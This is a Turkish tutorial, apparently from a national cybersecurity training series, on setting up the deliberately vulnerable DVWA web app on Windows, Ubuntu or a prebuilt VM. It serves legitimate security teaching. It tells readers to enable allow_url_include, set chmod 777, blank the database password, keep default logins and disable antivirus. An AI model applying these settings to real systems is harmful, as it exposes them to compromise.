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DVWA NEDIR?

DVWA (Damn Vulnerable Web Application) kasitli olarak icinde glvenlik agiklari barindiran bir
web uygulamasidir. PHP ve MySQL ikilisi kullanilaraktan geligtirilmistir. Acik kaynak kodlu bir
projedir. Yani nasil kodlandigini ayan beyan goérebilirsiniz. DVWA'nin agilimi Tlrkceye "Lanet
OlasI Savunmasiz Web Uygulamasi" seklinde cevrilebilir.

DVWA web uygulamasi ile web sitelerinin glvenligi konusunda bir ufuk kazanabilirsiniz. Bir
hacker siteyi nasil hack'liyor, bir hacker bir sitede nasil guvenlik ag¢igi ariyor gibi sorulara tatmin
edici cevaplar bulabilirsiniz. DVWA'nin gelistiriime amaci guivenlik uzmanlarinin kendilerini ve
gelistirdikleri araclari (yazilimlarini) test edebilmelerini saglamak, web gelistiricilerine belli bagli
guvenlik aciklarini barindirmayan web uygulamalarini geligtitmek, 6gretmenlere bir ders
kaynagi olmak ve égrencilere web uygulamalarinin giivenligi Gzerine ¢alisabilecekleri bir ortam
sunmaktir. Asagida DVWA'dan bir goruntl gormektesiniz.

Home | Welcome to Damn Vulnerable Web Application!

Instructions Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web

Setup / Reset DB developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment

Brute Force The aim of DVWA is to practice some of the most common web vulnerability, with various difficultly

L levels, with a simple straightforward interface.
Command Injection
CSRF .
- - General Instructions

File Inclusion

File Upload Itis up to the user how they aplproach DVWA Eithelr by working through every rnodul\e at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There

Insecure CAPTCHA is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.

SAL Injection

L N Please note, there are both documented and undocumented vulnerability with this seftware. This is
SQL Injection (Blind) intentional. You are encouraged to try and discover as many issues as possible.

XSS (Reflected) DVWA also includes a Web Applicag i ‘0 whi n abled at any stage to further
XSS (Stored) crease the difficulty. This willgle t y g I ay block certain malicious
actions. Note, there are al riou o i s (so this can be see an as
sion for more ady, users )l
DVWA Security : ) ) ) : .
There is a help button at the bettom of each page. which allows you to view hints & tips for that vulnerability.
PHP Info There are also additional links for further background reading, which relates to that security issue.

About

WARNING!
Logout

Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public

html folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual
machine (such as or ). which is set to NAT networking mode. Inside a quest machine, you

Sol tarafta sirali butonlar blogunun bir kismi dersleri temsil etmektedir. Diger kismi ise DVWA
ile alakal gesitli yapilandirma ayarlarinin yapildig1 sayfalara géturmektedir. Bu ayarlardan
ileriki yazilarda bahsedilecektir ve ayrica DVWA'nin sundugu tum givenlik aciklarindan ileriki
yazilarda bahsedilecektir ingaallah.

Bu blogda paylasiimis yazi dizisine gelecek olursak paylasiimis olan tim DVWA yazilari
DVWA'nin version 1.9'unu esas almigtir. E§er bu yazilara baslama niyetindeyseniz siz
okuyucularda aranan bazi 6zellikler vardir. Bunlar;

1. Basit dizeyde PHP Syntax'ini Bilmek
2. Basit dizeyde SQL Sorgularini Bilmek
3. Basit diizeyde Terminal Komutlarini Bilmek

Bu kosullardan birine veya birkagina sahip dedilseniz alacaginiz maksimum verim dusecektir,
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fakat yine de eliniz bos kalmayacaktir. Dolayisiyla eger DVWA'ya ¢caligmaya karar verdiyseniz
asagidaki linklerden DVWA'y! sisteminizde calisir hale getirmekle bagslayabilirsiniz:

1. Windows'a DVWA Kurulumu
2. Linux'a DVWA Kurulumu

Bir ufak not: Her ne kadar DVWA'nin Windows (izerinde kurulumunda bahsedilmis olsa da bu
blog'daki DVWA yaz dizisi bir linux dagitimi olan Ubuntu 14.04'G temel almigtir. Dolayisiyla
eger bir Windows kullanicisiysaniz linux'ta yapilan iglemleri Windows'a uyarlama konusunda
tek basinasiniz demektir.

UYARI

Bu tutorial'da bahsedegim teknikleri kalkarda izin almadiginiz bir sitede denemeye caligirsaniz
onlarin IDS/IPS'lerine takilip sizi tespit edebilirler ve cezai yaptirimlara, hatta hapis cezalarina
maruz kalabilirsiniz. Bu tutorial'da paylasilacak bilgiler kesinlikle yasadisi faaliyetlerde
kullaniimamalidir. Burada bu tekniklerin bahsediliyor olusu Turkiye'de guvenlik uzmani
elemani yetistrme konusunda yapilan cabalara ortak olmaktir. Dolayisiyla bir yasadigi
kullanim sonucu dogabilecek zararlardan sahsim mesul tutulamaz.
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WINDOWS'A DVWA KURULUMU

Bu yazi Windows'a DVWA kurulumunu konu edinmektedir. Yazi ana bagliklariyla ¢ kisma
ayrilmaktadir.

1. XAMPP Kurulumu
2. DVWA Yapilandirmasi
3. DVWA Kurulumu

1. XAMPP Kurulumu

DVWA uygulamasini bilgisayarimizda c¢alistirabilmek icin XAMPP adli bir yazilimi makinemize
kurmamiz gerekmektedir. XAMPP bilgisayarimizda PHP ile yazilmig web uygulamalarini
calistirabilecegimiz  bir platformdur. Asagidaki linkten bu yazilimi indirebilirsiniz.

XAMPP-Win32-5.6.38-0-VC11-Installer.exe

XAMPP'In setup'inin Uzerine sag tik yapip Yonetici Olarak Calistir'a tiklayarak kurulumu
baslatin. Kurulumu baslatmadan dnce herhangi bir antivirus yaziliminiz mevcutsa onu kurulum
suresince devredigi birakmayi unutmayin. Setup dosyasini baslattiginizda ekrana bir popup
penceresi gelecektir. Yes deyip gecin. Hemen akabinde bir popup penceresi daha gelecektir.
Onu da OK deyip gecin. Sonraki igslemler bilindik Next, Next, Next'ten ibarettir, fakat suna da
deginmekte fayda var: Kurulum sirasinda asagidaki pencere ile karsilastiginizda mutlaka
Apache, MySQL ve PHP kutucuklarinin isaretli oldugundan emin olun.

[Z] Setup — O X

Select Components

re
-

Select the components you want to install; dear the components you do not want to install, Clids
Mext when you are ready to continue.,

FileZilla FTP Server
Mercury Mail Server
Tomcat

= Program Languages
PHE
Perl

= Program Languages
phpMyAdmin
Webalizer
Fake Sendmail

XAMPP Installer

< Back Mext = Cancel

Geri kalanlara lizum yoktur, fakat tercihen onlar da isaretlenebilir. Ardindan klasik Next, Next,
Next seklinde ilerleyen kurulumu tamamlayabilirsiniz.
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2. DVWA Yapilandirmasi

Oncelikle agsagidaki adresteki "Download" butonuna tiklayarak DVWA'yi indirin:

https://qgithub.com/RandomStorm/DVWA/archive/v1.9.zip

Dosyayi indirdikten sonra asagidaki alt maddeleri sirasiyla takip ediniz:

a. inen dosyayi zip'ten ¢ikarin ve klasor ismini dvwa-1.9'dan dvwa'ya gevirin. Bunu yapiyoruz,
zira daha sonralari tarayicidan dvwa'ya baglanirken adres gubuguna yazacagimiz klasor adi
kolay olsun diyedir.

b. Daha sonra dvwa klasorunu C:\xampp\htdocs\ dizini icerisine yapistirin.

c. XAMPP'"I masaiustindeki simgesine ¢ift tiklayarak baslatin. Agilan penceredeki Apache
yazisinin oldugu satirin saginda yer alan Config butonuna asagidaki resimden de
gOrebilecegdiniz Gzere tiklayin ve agilan sekmelerden PHP (Php.ini)'ye tiklayin.

XAMPP Control Panel v3.2.1 [ Compiled: May Tth 2013 ] - O x
XAMPP Control Panel v3.2.1 2 cont
Modules )
) Metstat
Service Module  PID(s) Port(s) Actions AR
. : = - Fl Dl
Apache Start Adm I C
. 2 A Apache (httpd.conf)
MySQL Start Admin C Apache (httpd-ssl.conf)
FileZilla Start Admin C Apache (httpd-xampp.conf)

PHP (php.ini)
LTy Start Admin c phpMyAdmin (config.inc.php)
Tomcat Start Admin C <Browse> [Apache]

<Browse> [PHP]

9:51:15 AM [mysqf] Attempting to stop MySQL (PID: 852)

9:51-1¢ [mysgl]  Status change detected: stopped <Browse> [phpMyAdmin]
9:51:1¢ [mysqgl] Attempting to start MySQL app...

9:51:1¢ [miysgl] Status change detected: running

10:0
10:0

/' [Apache] Attempting to stop Apache (PID: 6344)
! [Apache] Attempting to stop Apache (PID: 4420)
10:0 /| [Apache] Status change detected: stopped
10:02:49 AM [mysgl]  Attempting to stop MySQL (PID: 6764)
10:02:50 AM [mysgl]  Status change detected: stopped

SVRL SV )
e SO

d. Acilan php.ini dosyasina CTRL+F yapin ve asagidaki satiri arattirin:

allow url include=0ff

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi
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https://github.com/RandomStorm/DVWA/archive/v1.9.zip

TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Bu satir agagidaki gibi On yapin.

allow url include=0On

e. Bilgisayarim'dan C:\xampp\htdocs\dvwa\config\ dizinine gecis yapin. Gittiginiz dizindeki
config.inc.php dosyasini notepad gibi bir metin editori ile acin. Asagidakilerin yer aldigi satiri
bulun.

$ DVWA[ 'db user' ] = 'root';
$ DVWA[ 'db password' ] = 'p@sswOrd';

Yukaridaki satirlari asagidaki gibi yapin:

$ DVWA[ 'db user' ] = 'root';

$ DVWA[ 'db password' ] = '';

Ayni dosyanin asagilarinda yer alan

$ DVWA[ 'recaptcha public key' ] = '';
$ DVWA[ 'recaptcha private key' ] = '';

satirlarini agagidaki gibi yapin.

$ DVWA[ 'recaptcha public key' ]

Il
Q

Il
®

$ DVWA[ 'recaptcha private key' ]

3. DVWA Kurulumu

Simdi XAMPP'In pencerisine gelin. Apache ve MySQL'in Start butonlarina tiklayin. Bu iki
servisi baglattiginizda asagidaki resimde goruldigu gibi yesil isiklar yanacaktir (Zaman zaman
sarl da yanabilmektedir, fakat bir stire sonra yesile dénmektedir).

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

E XAMPP Control Panel v3.2.1 [ Compiled: May 7th 2013 ] - O X
XAMPP Control Panel v3.2.1  Cang
Modules
Netstat
Service Module  PID(s) Portls) Actions © Netstal
Apache 1952 443, 8080 Admin | Config || Logs B Shell
MySQL 2264 3306 Stop Admin Config Logs | Explorer
FileZilla Start Admin Config Logs 7' Senvices
Mercury Start Admin Config Logs @ Help
Tomcat Start Admin Config Logs [ Quit

XAMPP ile gerekli servisleri baslattiktan sonra tarayicinizin adres gubuguna asagidaki adresi
girin:

http://localhost/dvwa

Ekrana eger bir login sayfasi gelirse username olarak admin, sifre olarak ise password girin.
Ardindan DVWA'nin setup sayfasi gelecektir. Bu sayfadaki seceneklerin asagidaki resimde
oldugu gibi gérindugunden emin olun.

Setup Check

Operating system: Windows
Backend database: MySQL
PHP version: 5.6.12

Web Server SERVER_NAME: localhost

PHP function display_errors: Enabled (Easy Mode!)
PHP function safe_mode: Disabled

PHP function allow_url_include: Enabled

PHP function allow_ur_fopen: Enabled

PHP function magic_quotes_gpc: Disabled

PHP module php-gd: Installed

reCAPTCHA key: a

Writable folder C:\xampp'\htdocs\dvwa'hackable/uploads/: Yes)
Writable file C-\xampp\htdocs\dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt: Yes

Status in red, indicate there will be an issue when trying fo complete some modules.

| Create / Reset Database |

Egder yukaridaki resimde gorinen seceneklerden birinde kirmizi bir uyari goéruyorsaniz 2.
DVWA Yapilandirmasi bagligindakileri dogru yapmamigsiniz demektir.

Son olarak yukaridaki resimden de gorebilecediniz Uzere Create/Reset Database butonuna
tiklayin. Asagidaki bildirimleri alacaksiniz.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

| Create / Reset Database |

Database has been created.
'users’ table was created.

Diata inserted into ‘users’ table.
'guestbook’ table was created.

Data inserted into 'guestbook’ table.

Setup successfull <

Setup Successful bildirimini almigsaniz artik hazirsiniz demektir. Tarayicinizin adres
cubuguna http://localhost/dvwa yazin ve gelen login ekranina kullanici adi olarak admin, sifre
olarak password yazin. Béylece DVWA'da derslere baglayabilirsiniz.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

UBUNTU 14.04 LTS LINUX'A DVWA KURULUMU

Bu yazi Linux'a DVWA kurulumunu konu edinmektedir. Bahsedilen adimlar Ubuntu 14.04 LTS
linux dagitiminda sorunsuzca uygulanabilmektedir. Yazi ana basgliklariyla ¢ kisma
ayrilmaktadir.

Apache, MySQL ve PHP Kurulumu

DVWA Yapilandirmasi

DVWA Kurulumu

EK: Ubuntu 14.04 LTS Uzerinde Hazir Yiiklii DVWA Yer Alan Makine

PR

1. Apache, MySQL ve PHP Kurulumu

Oncelikle sisteminizde tanimli yerel paket linklerini giincellemek igin

1 sudo su

2 apt-get update

komutlarini terminalinize girin.

Ardindan MySQL server'ini sisteminize ylklemek icin asagidakileri terminalinize girin:
1 apt-get install mysgl-server

Ekrana bir pencere sekli gelecektir.

root@pentest-VirtualBox: /home/pentest

Package configuration

1 Configuring mysql-server-5.5 }
While not mandatory, it is highly recommended that you set a password
for the MySQL administrative "root" user.

If this field is left blank, the password will not be changed.

New password for the MySQL “root" user:

TUBITAK — BILGEM — Siber Givenlik Enstitisi
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Oraya MySQL'de kullanacaginiz sifreyi girin. Ardindan tekrar girmenizi isteyecektir. Tekrar
girdikten sonra MySQL hesabinizin username'i root olacaktir. Sifresi ise girdiginiz sifre
olacaktir.

MySQL kurulumu sonrasi apache ve php'yi beraberce kuralim. Asagidakini terminale giriniz:
1 apt-get install unzip apache2 php5 php5-mysgl php-pear

Bdylece Apache, MySQL ve PHP'yi kurmus bulunmaktasiniz. Sirada bunlarin ve DVWA'nIn
yapilandirmasi var.

2. DVWA Yapilandirmasi

a) Kok Dizin Ayarlamasi

Yuklediginiz apache kok dizini /var/www/html| olarak gérmektedir. Bu sonralari projelerimize
tarayicidan erigsirken can sikici olabilir. Kok dizini /var/www/html 'den /varwww 'ye
donusturebilmek icin terminale asagidakini yazin:

1 nano /etc/apache2/sites-enabled/000-default.conf

Acllan sayfadaki /var/www/html/ yi agagidaki resimdeki gibi /var/www yapin.

Terminal
0 root@pentest-VirtualBox: /home/pentest
GNU nano 2.2.6 : Je apache2/sites-enabled/600-default.conf Modifled

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port t$
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value Ls not decisive as Lt Ls used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.con

ServerAdmin webmaster@localhost

ocumentRoot Jvar /www

Avallable loglevels: traces, ..., tracel, debug, info, notice, warn,
error, crit, alert, emerg.

It is also possible to configure the loglevel for particular
nodules, e.g.

LogLevel info ssl:warn

]
-
»
B
B
<]
3
%
)]

N® Cet Help 8 WriteOut 8 Read File Prev Page Cut Text 4 Cur Pos
By Exit Justify Where Is Next Page UnCut Textigl To Spell

Ardindan CTRL+X yapin, Y'ye basin ve ENTER'layin.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

b) Apache Hata Satirlarini Gésterme

Apache varsayillan ayarlari geregi bir php icerikli web sayfasinin hatalarinin ekrana
yansitilmasini engellemektedir. Bunu guvenlik nedeniyle yapar. Bu iglev internete acilan
projeleriniz icin iyidir, fakat biz DVWA'da hatalari gérmeye ihtiya¢c duydugumuzdan dolayi
apache'nin bu varsayilan ayarini degistirecegiz. Asagidaki komutu termianl ekraniniza girin.

1 gedit /etc/php5/apache2/php.ini

CTRL+F'ten display_errors = Off satirini aratin ve bu satiri asagidaki gibi On yapin:

display errors = On

Kaydedin ve gedit'i kapatin.
¢) DVWA'nin indirilmesi
DVWA'yiI indirmek icin dncelikle terminal'den /var/www dizinine asagidaki komut ile gegis

yapin:

1 cd /var/www

Sonra DVWA'yI terminal'den asagidaki komut ile indirin:

1 wget https://github.com/RandomStorm/DVWA/archive/v1.9.zip

Ardindan sirasiyla asagidaki komutlar girin:

1 unzip v1.9.zip
2 rmvl.9.zip

3 mv DVWA-1.9 dvwa

d) DVWA icin Gerekli Diger Yapilandirmalar

Asagidaki komutu terminalinize girin:

1 gedit dvwa/config/config.inc.php
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

CTRL+F ile$ DVWA[ ‘'db_password’ ] = 'p@sswOrd’; satirni aratin ve bu
satirdaki p@sswOrd yerine en basta MySQL'i kurarken kullandiginiz sifreyi koyun. Mesela

$ DVWA[ 'db password' ] = 'mysglSifrem';

Ardindan CTRL+X'i, akabinde Y tusunu ve ENTER'l tuglayarak dosyayi kaydedin. Bu islem
sonras! birde PHP'yi yapilandirmak gerekiyor. Bunun i¢in asagidakini terminalinize girin:

1 gedit /etc/php5/apache2/php.ini

CTRL+F ile allow_url_include = Off satirini bulun ve agagidaki gibi bu satirt On yapin:

allow url include = On

Ardindan asagidakini terminalinize girerek DVWA uygulamasina her trlt izni verin:

1 chmod -R 777 /var/www/dvwa

Sirada son islem olarak dvwa adli bir veritabani olusturacadiz. Bu soyle yapiimaktadir:
Terminale asagidaki kodu girin:

1 mysgl -u root -p

Ekran sizden sifrenizi isteyecektir. En basta MySQL'i kurarkenki yazdiginiz sifreyi girin ve
ENTER'layin. Boylece komut satiriniz mysql'e gegis yapacaktir. Simdi asagidaki komutu ayni
terminal penceresine girerek dvwa adli tabloyu mysql server tuzerinde olusturun ve mysql'den
exit komutu ile ¢ikis yapin:

1 create database dvwa;

2 exit
e) Degisiklikleri Uygulama

Apache sunucunuzda yaptiginiz degisiklikleri (kdk dizin glncellemesini ve hata satirlarini
goster guncellemesini) uygulamak igin apache servisinizi yeniden baslatin:

1 service apache2 restart
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3. DVWA Kurulumu

Tarayicinizin adres c¢ubuguna http://localhost/dvwa adresini girin. Ekrana gelen login
ekraninindaki ilk metin kutusuna admin, ikincisine ise password girerek giris yapin. DVWA sizi
kurulum sayfasina yonlendirektir. Kurulum sayfasindaki Create/Reset Database butonuna

tiklayin.

Setup Check

Operating system: *nix
Backend database: MySQL
PHP version. 5.5.9-1ubuntud. 14

Web Server SERVER_NAME: localhost

PHP function aisplay_errors: Disabled
PHP tunction safe_mode. Disabbed

PHP function allow_ur_include: Enabled
PHP tunction allow_url_fopen: Enabled
PHP function magec_quotes_gpe: Disabled
PHP moaule php-gd: Missing

reCAPTCHA key: Missing

Writabie folger /variwawwidvwahackableduploads): Yes)
Wiitabiie file /vatwww chvaavextemal/phpids/0. 8ML/IDSAmpiphpids log txt: Yes

Status in red. indicare theve will be an issue when Uying 10 compiete Some moduies

Create [ Reset Dalabase M

Ekranin asagisinda yukleme isleminin basariyla gergeklestigine dair bir bildirim géreceksiniz:

Creaie /| Resel Database

Database has been created.

‘users table was created.

Data insered Into ‘users” table.

‘guestbook’ table was created.

Data inserted into ‘guestbook’ table

Setup successful!
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

EK: Ubuntu 14.04 LTS Uzerinde Hazir Yiikli DVWA Yer Alan Makine

Bu baslik altinda paylasilacak yolla DVWA'y1 kullanmak yukaridaki kurulum islemlerine
alternatif bir istege bagl secenektir. Yukaridaki ylkleme zahmetiyle ugrasmak yerine
hazirlanmis Ubuntu 14.04 LTS Linux sanal makinesini indirebilir ve VirtualBox'da agarak
DVWA'yi kullanabilirsiniz.

Bu sekilde DVWA'yl kullanacaksaniz o6ncelikle belirtilen linkten ova formatindaki
(uzantisindaki) sanal makineyi indiriniz.

Ubuntu 14.04 LTS Linux Sanal Makinesini indir (icinde DVWA Hazir)

inen ova formatindaki dosyayi Oracle Virtualbox yazilimiyla agin. Bunun icin Oracle Virtualbox
yaziliminin File -> Import Appliance... secenedine gidilmelidir ve oradan ova formatindaki
dosya segilip igeri aktariimalidir.

Oracle VM VirtualBox Manager
Jil] Machine Help

& Preferences e = S g
Boet « )R] ot
(@ Export Appliance... CtrleE lGanaral B Praview a
(@ Virtual Media Manager...

] Host Network Manager...

2, Network Operations Manager...
@ Check for Updates,

b Reset All Warnings

ne: DVWA ve WebGoat (Ubuntu

W 14.04 LTS)
erating System: Ubuntu (64-bit)
System DVWA ve WebGoat
 memory: 512MB (Ubuntu 14.04 LTS)
oOrder:  Floppy, Optical, Hard Disk ‘
[+ ation:  VT-x/AMD-V, Nested Paging, KVM

 Exit
Paravirtualization
n Kali (En Eski)
@ Inaccessible & ois
4] windows 7 Home Premium 16 MB
L7 @ Powered OFF Remote Desk®g Server: Disabled
Video Capture: Disabled

[E4] Windows Server 2003 R2 SP2
ED © save 0l storage
ST windows Server 2008 R2 (Web.Co..) Controller: IDE
[ saver IDE Secondary MasterSjOptical Drive] Empty
Controller: SATA
(] Windows Server 2012 R2 (Sifre D...) SATA Port 0: /A ve WebGoat (Ubuntu 14.04 LTS)-disk001.vmdk (Normal,
5] © Powered OFf 10,00 C8)

windows XP (Dandlk) I Audio
@ Powered off Host Oriver: PulseAudio
% Windows Server 2008 x86 (R2 ... (..} Controller:  ICH ACOT
& save & Network
ﬂ SE";:::I"““G"““' M) Adapter 1: Intel PRO/1000 MT Server (Bridged Adapter, enp0s31f6)
& use

Androld_VM_0.3_By_MobSF (fact..)
@ Powered OFf USB Controller: OHCI

n Samsung Galaxy S (factary-backup) Device Filters: 0 (0 active)
() P OFF -

9 ehmond Saldnne

Import an appliance into VirtualBox

Iceri Aktar Segilir
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http://www.includekarabuk.com/kitaplik/indirmeDeposu/ikTestMakinesi(yt.21-08-20).zip

TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi

: DVWA

Appliance to import

Reinitialize the MAC address of all network cards

Guided Mode | |Restore Defaults

Ova Formatindaki Dosyaya Gidilir

4 fhefese Downloads iKTest Makinesi (yt.21-08-20) »

B 0

Hame
~ DVWA ve WebGoat (Ubuntu 14.04LTS).ova

M &ipD &N

-

Open Virtualization Format =

Ova Formatindaki Dosya Secilir

Appliance to import
Downloads/ik Test Makinesi (yt.21-08-20)/DVWA ve WebGoat (Ubuntu 14.04 LTS).ova| (&

Appliance settings

Virtual System 1
R Name DVWA ve WebGoat (Ubuntu 14.04 LTS)
@ Product IK Test Makinesi
@ Prod

@ vendor Hasan Fatih $IMSEK

@ Vend i com
@ version ¥t.21/8/20

@ Descripti Include Karabuk Test Makinesi
= Guest 0S Type ¥4 Ubuntu (64-bit)

cPy

@ rAM
Reinitialize the MAC address of all network ca

Guided Mode | Restore Defaults | Import Cancel

Ova Formatindaki Dosya Iceri Aktarilir
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TASNIF DISI Web Uygulamalarini Ele Gegirme Egitimi: DVWA

Importing virtual disk image 'DVWA ve wWebGoat (Ubuntu 14.04 LTS)-disk001.vmdk’ ... (2/3)

5% x
33 secands remaining

Iceri Aktar Stirer

Elle pachine Help
@ @ U 9.
New Settings Start

Kali 2019.3
(@ Inaccessible

Kali (Eski)
@ Inaccessible

n Kali (En Eski)
@ inaccessible
[EL] windows 7 Home Premium
(2 @ Powered OFF
ﬁ windows Server 2003 R2 SP2
& saved

ﬁ windows Server 2008 R2 (Web Co..)
& saved
Windows Server 2012 R2 (5ifre D..)

@ Powered OFf

Wwindows XP (Dandik)
Powered OFff

45
ﬁ windows Server 2008 x86 (R2 ... ()
& saved

E] Santoku (Mobil Geregler VM)

& saved

D Android_VM_0.3_By_MobSF (fact..)
(@ Powered Off

D Samsung Galaxy 54 (Factglly-bac|
@ Powered Off

(|-

DVWA ve WebGoat (Ubuntu 14.04 ..
@ Powered Off

—_—
| & pealls «

> ). .
Machine Tools | | Global Tools
= Preview 3

Name:

Ubuntu 14.04 Server LTS,

Operating System: Ubuntu (64-bit) Apache Range

System Vulnerability - Ubuntu
Base Memory: 2048 MB 14.04 Server LTS
Boot Order:  Floppy, Optical, Hard Disk
Acceleration:  VT-x/AMOD-V, Nested Paging, KVM
Paravirtualization

Display
Video Memory: 16MB

Remote Desktop Server: Disabled

video Capture: Disabled

Storage

Controller: IDE

IDE Secondary Mast [Optical Drive] Empty

Controller: SATA

SATA Port 0:

Apache Range Vulnerability - Ubuntu 14,04 Server LTS.vdi
(Hormal, 5,00 GB)

river: PulseAudio
ntroller:  ICH ACS7

&7 Network
Adapter 1: Intel PRO/1000 MT Desktop (Bridged Adapter, enp0s31f6)

USB Controller: OHCI
Device Filters: 0 (0 active)

3 ehannd fatdane

Sanal Makine Eklenir

iceri aktarilan sanal makine segilir ve Start butonuna tiklanir.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Oracle VM

alBox Manager
Flle Machine Help
- W P - & Detils & .
New Settings Start Machine Tools | Global Tools
Kall 2018.3 = =
@ Inaccessible El General E preview
Name DVWA ve WebGoat {Ubuntu

n Kall (Eski) 14.04 LTS)
(@ Inaccessible ating System: Ubuntu (64-bit)
g ) Kali (En Eski)

@ Inaccessible

DVWA ve WebGoat

(Ubuntu 14.04 LTS)

E - 512MB
B Windows 7d“°'“ Premium Boot Order:  Floppy, Optical, Hard Disk
@ Powered Off Acceleration:  VT-x/AMD-V, Nested Paging, KVM
Windows Server 2003 Rz SP2 Paravirtualization
@ saved & Display
Windows Server 2008 RZ (WebCo.)  video Memary:
Saved Remote Desktop Server: Disabled
windows Server 2012 R (5ifre D..) Video Capture: Disabled
@ Powered Off @ Storage
Windows XP (Dandik) Controller: IDE
@ Powered OFf IDE Secondary Master: [Optical Drive] Empty
Windows Server 200§x86 (R2 ... () Controller: SATA
i saved SATA Port 0: DVWA ve WebGoat (Ubuntu 14.04 LTS)-disko01.vmdk (Normal,
10.00 GB)
E Santoku (Mabil Gerefler VM)
& saved  audio

Host Driver: PulseAudio

x (Fact...
Andrald_vMm_0.3_By JMobsF (Fact..) Controller ICHACS?

@ Powered OFf

Samsung Galaxy 54 (fctory-backup) & Metwork

& Powered OFf Adapter 1: Intel PRO/1000 MT Server (Bridged Adapter, enp0s31f6)
o\ kali & use

& saved

USE Controller: OHCI
Device Filters: 0 (0 active)

T (1 eharnd faldare

Sanal Makine Baglatilir

Boylece sanal makine baglar.

Fle Machine Help

m:" _,l* 4 & Details = } - ﬂ]ﬂ? -

New  Settings Show Machine Tools Global Tools
& nceessible == B retew
ﬂ ol (251 Name ?:mxzjwebcm {Ubuntu
@ Inaccessible " P
Kali (En Eski)
@ Inaccessible ile Machine View Input Devices Help

=7 | windows 7 Home Premium
‘@ Powered OFf

.~'é windows Server 2003 R2 SP2
& save

<] Windows Server 2008 R2 (web.Co..)
& saved

=7 Windows Server 2012 R2 (§ifre D..)
@ Powered OFf

windows XP (Dandik)
‘@ Powered OFf

Windows Server 2008 x86 (R2 ... (..)
& saved

E] Santoku (Mobil Geregler VM)

[ saved
Androld_VM_0.3_By_MaobSF (fact..)
@ Powered OFF

Samsung Galaxy 54 (factory-backup)
@ Powered Off

—
L) & saved

“ Seuning
@ 5% & &= @i O ¥ right ctrl
Sanal Makine (Web Sunucu) Baglar

Makinenin oturum ekrani geldiginde bilgiler girilir (kullanici adi: user, parola: password) ve
ifconfig ile makinenin ip'si alinir.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

File Machine View Input Devices Help

lbuntu 14.04 LTS iktestmakinesi ttyl

iktestmakinesi login: _

Gy P g0 Ml i (O (B (3 Right Crl
Oturum Bilgileri Girilir

File Machine View Input Devices Help
buntu 14.04 LTS iktestmakinesi ttyl

iktestmakinesi login: user
Passuord :
elcone to Ubuntu 14.04 LTS (GNU-Linux 3.13.0-Z24-generic x86_64)

= Dikiimantasyon: http:/ wuww.includekarabuk.com
htt; .includekarabuk.com dvwatutorial . php
http: ruww. includekarabuk.com/webgoattutorial . php

iser@iktestmakinesi: ™5 _

byeP @ % [ B (¥ Right ctrl
Oturum Acilr
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

s Dokiimantasyon: http:-/-wwu. includekarabuk.com
http:~ uwu. includekarabuk.com/dvwatutorial.php
http: v, includekarabuk . consvebgoattutorial . php

iser@iktestmakinesi:™§ ifconfig
Link encap:Ethernet HWaddr 08:00:27:23:66:c0
inet add 92.168.1.110 Bcast:192.168.1.255 Mask:255.255.255.0
inetb addr: feBb::adl Z7if :fe23:66c0,64 Scope:Link
UP BROADCAST RUNMING MULTICAST HTU:1500 Hetric:1
RX parkets:dZ errors:0 dropped:® overruns:0 frame:@
TX packets:30 errors:0 dropped:0 overruns:0 carrier:0
collisions 0 txqueuelen:1000
RX bytes:Z2378 (2.9 KB) TX bytes:3040 (3.0 KB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1,128 Scope:Host

UP LOOPBACK RUNMING MTU:65536 Hetric:l

RX packets:2Z2 errors:0 dropped:® overruns:0 frame:@
TX packets:2Z errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:@

RX bytes:1632 (1.6 KB) TX bytes:163Z (1.6 KB)

iser@iktestmakinesi: ™9

& @ 1@ O & F Right cerl
Sanal Makinenin (Web Sunucunun) IP'si Ogrenilir

Bdylece makineye (web sunucuya) ana makinenizden web tarayici ile eriserek DVWA
uygulamasi kullanilabilir.

Signin

http://192.168.1.110

« Diklimantasyon: http://uwu. includekarabuk.con
http:/ umu. includekarabuk . con. tutorial.php

Cancel http: /. includekarabuk . con/webgoat tutorial . phy

etho

1000
RX byt B ( TX bytes:3040 (3.0 KB)

Link encap:Local Looj

Metric:1
0 overruns:0 frame:0

p
apped:0 overruns:0 carrier:@
uelen:0

X bytes:1632 (1.6 KB)

Oy 2P 5 L W # 0 @ (e Rright Ctrl

Temel CMD.
Komutlari

( Solda Ana Makine, Sagda Sanal Web Sunucu Makine )
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Login :: Damn Vulnerat

¢ C 3 O Notsecure | 192.168.1.110/dvwa/login.php w O nEO

/ \
DVMA/ File Machine View Input Devices Help
i AT N

,,,,,,,,

Login

@ %P & W O B (S Right cerl

( Solda Ana Makine, Sagda Sanal Web Sunucu Makine )

